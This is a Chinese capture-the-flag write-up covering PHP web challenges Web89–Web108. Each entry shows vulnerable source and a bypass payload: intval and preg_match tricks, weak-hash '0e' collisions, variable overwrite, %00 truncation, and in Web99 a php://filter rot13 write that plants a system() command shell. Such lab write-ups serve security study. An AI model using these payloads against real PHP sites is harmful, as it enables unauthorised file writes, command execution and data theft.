Web89
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } } //这里主要是对数字进行了过滤,并且又要GET请求传入的num变量为数字或数字串,关于preg_match()函数一个漏洞——>无法处理数组 Paylaod:?num[]=10
Web90
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; }else{ echo intval($num,0); } } //强比较+intval函数 Payload:?num=4476a(任意字母)
Web91
show_source(__FILE__); include('flag.php'); $a=$_GET['cmd']; if(preg_match('/^php$/im', $a)){ if(preg_match('/^php$/i', $a)){ echo 'hacker'; } else{ echo $flag; } } else{ echo 'nonononono'; } //这里有有两个条件,第一个需要是php,第二个又不可以php,不过有个差距就是m模式,/m代表匹配多行数据,这里可以通过%0a进行绕过 Payload:?cmd=%0aphp
Web92

1 Payload:?num=0x117c 十六进制
2. 也可以:?num=0
10574 八进制
//这里不能是4476,但是又要是4476,intval可以识别十六进制和八进制
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
- 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
- 如果字符串以 "0" 开始,使用 8 进制(octal);否则,
- 将使用 10 进制 (decimal)
-
返回值
成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。
最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例,在这样的系统上, intval('1000000000000') 会返回 2147483647。64 位系统上,最大带符号的 integer 值是 9223372036854775807。
字符串有可能返回 0,虽然取决于字符串最左侧的字符。
Web93
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); } } //ban掉了字母,但是可以用八进制绕过 Payload:?num=010574
Web94
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(!strpos($num, "0")){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; } } //不能以0开头了,这时候可以试试小数,intval只识别整数部分 Payload:?num=4476.0001
Web95
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]|./i", $num)){ die("no no no!!"); } if(!strpos($num, "0")){ die("no no no!!!"); } if(intval($num,0)===4476){ echo $flag; } } //弱比较不可以是4476,然后是传入参数不可以存在大小写的26个字母和“.”,接着是不可以以0开头,最后结束匹配时需要4476,一开始的若比较,这里可以用010574(4476的八进制)绕过,直接到了strpos函数这里,这里不能以0开头,去看了看intval函数的发现最开头可以如果是+还是可以识别为原数 Payload:?num=+010574
Web96
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
<?ph
//1 ?u=./flag.php
Web97
include("flag.php"); highlight_file(__FILE__); if (isset($_POST['a']) and isset($_POST['b'])) { if ($_POST['a'] != $_POST['b']) if (md5($_POST['a']) === md5($_POST['b'])) echo $flag; else print 'Wrong.'; } ?>
//简单的md5碰撞
Payload:
POST:a[]=1&b[]=2
Web98
include("flag.php"); $_GET?$_GET=&$_POST:'flag'; $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); //考点:变量覆盖、三元运算符、&在php中的引用作用 //一开始不知道是什么意思,问了一下大师傅,他跟我说了一下三元运算符以及&的作用 //解释一下 //第一句的意思是如果存在GET请求则引用POST请求的内容 //接下来两句好像没啥用,不过为了保险,还是直接还是把flag=xx //最关键的就是HTTP_FALG=flag,这样才就能回显flag了 //尝试了一下发现第一句存在变量覆盖的效果,所以GET请求不管给什么东西都会被POST请求覆盖掉 Payload:GET:?xxx POST:flag=xx&HTTP_FLAG=flag
web99
highlight_file(__FILE__); $allow = array(); for ($i=0; $i < 0x36d; $i++) { array_push($allow, rand(0,$i)); } if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ file_put_contents($_GET['n'], $_POST['content']); } ?> //array_push()函数向allow数组的尾部添加一个元素,该元素由rand()函数返回一个随机数 //传入的参数中要有allow数组中的数字,然后是一个文件包含 //文件包含可以用php://filter伪协议,可以使用base64或者rot13,这样包含了数字 Payload:?n=php://filter/write=string%.rot13/resource=sh.php POST:content=<?cuc flfgrz("gnp *.cuc");?>
Web104
<?php /* # -*- coding: utf-8 -*- # @Author: atao # @Dat: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-28 22:27:20 */ highlight_file(__FILE__); include("flag.php"); if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2)){ echo $flag; } } ?> //由题可知,只需要v1的sha1的值等于v2的sha1值,即可获得flag //百度查一下sha1碰撞 //这里是弱比较,所以作用就是sha1后为'0e'开头 Payload: GET:?v2=aaroZmOk POST:v1=aaK1STfY
Web105
<?php /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-28 22:34:07 */ highlight_file(__FILE__); include('flag.php'); error_reporting(0); $error='你还想要flag嘛?'; $suces='既然你想要那给你吧!'; foreach($_GET as $key => $value){ if($key==='error'){ die("what are you doing?!"); } $$key=$$value; }foreach($_POST as $key => $value){ if($value==='flag'){ die("what are you doing?!"); } $$key=$$value; } if(!($_POST['flag']==$flag)){ die($error); } echo "your are good".$flag." "; die($suces); ?> //一道变量覆盖的题目,由$$key=$$value确定,意思就是$key的内容作为变量,例如:$key=xx,$$key=$xx //GET请求的时候不能出现error,但是这里给了另外一个变量$suces,我们可以将$flag值赋给$suces //POST请求的时候不能出现flag,但是我们第一步已经把值赋给$suces了,所以这里不用出现$flag,只需要$suces把值赋给$error //最后再判断flag是否等于$flag,让flag!=$flag,输出$error即可 Payload: GET:?suces=flag POST:error=suces
Web106
highlight_file(__FILE__); include("flag.php"); if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2) && $v1!=$v2){ echo $flag; } } ?> //需要sha1碰撞
Payload: GET:?v2=aaroZmOk POST:v1=aaK1STfY
Web107
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-28 23:24:14 */ highlight_file(__FILE__); error_reporting(0); include("flag.php"); if(isset($_POST['v1'])){ $v1 = $_POST['v1']; $v3 = $_GET['v3']; parse_str($v1,$v2); if($v2['flag']==md5($v3)){ echo $flag; } } ?> //这里有个parse_str()的函数,百度了一下语法 //parse_str(string,array) 函数在string中查询字符串解析到array数组变量中 //后面的那个md5就简单了 Payload: GET:?v3=37(任意数) POST:v1=flag=a5bfc9e07964f8dddeb95fc584cd965d(md5转32)
Web108
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-28 23:53:55 */ highlight_file(__FILE__); error_reporting(0); include("flag.php"); if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) { die('error'); } //只有36d的人才能看到flag if(intval(strrev($_GET['c']))==0x36d){ echo $flag; } ?> //ereg函数存在一个明显的漏洞:%00截断 //strrev反转字符串 Payload:?c=xx%00778
参考:
https://www.php.net/manual/zh/book.spl.php
https://www.cnblogs.com/erR0Ratao/p/13693066.html